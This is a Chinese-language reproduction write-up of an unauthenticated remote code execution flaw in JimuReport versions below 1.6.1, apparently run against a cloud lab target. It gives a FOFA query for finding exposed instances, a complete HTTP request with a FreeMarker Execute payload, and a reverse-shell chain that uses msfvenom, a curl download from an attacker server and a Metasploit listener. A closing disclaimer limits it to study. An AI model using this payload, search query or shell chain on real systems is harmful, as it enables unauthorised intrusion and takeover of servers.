0x01 前言
JeecgBoot 是一个开源的低代码开发平台,Jimureport 是低代码报表组件之一。当前漏洞在 1.6.1 以下的 Jimureport 组件库中都存在,由于未授权的 API/jmreport/queryFieldBySql
使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。
影响范围:
- Jimureport 版本 < 1.6.1
漏洞搜索:
# fofa 语法
app="Jeecg-Boot 企业级快速开发平台"
复现准备:
- 靶机:春秋云境 http://xxxxx.cloudeci1.ichunqiu.com:8080
- 公网服务器:10.10.10.1
0x02 复现
1. POC
POST /jmreport/queryFieldBySql HTTP/1.1
Host: xxxxx.cloudeci1.ichunqiu.com:8080
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/json
Content-Length: 124
Connection: close
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",
"type": "0"
}
2. 漏洞利用
对网页进行抓包,修改 host 数据,如果漏洞存在将会返回 200;
此时,将 sql 中的命令改为 cat /flag 即可看到 flag 结果。
0x03 反弹 shell
1. 建立 HTTP 服务
# 使用 python 在本地 80 端口建立
python3 -m http.server 80
2. 生成并上传木马
使用 msfvenom 生成木马,并放入 http 服务目录下
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.10.1 lport=4444 -f elf -o shell.elf
在 poc 使用 curl 将木马上传:
curl http://10.10.10.1:4444/shell.elf -o shell.elf
3. 监听上线
在本地使用 msfconsole 监听 4444 端口。然后执行木马等待上线即可。
免责声明
技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!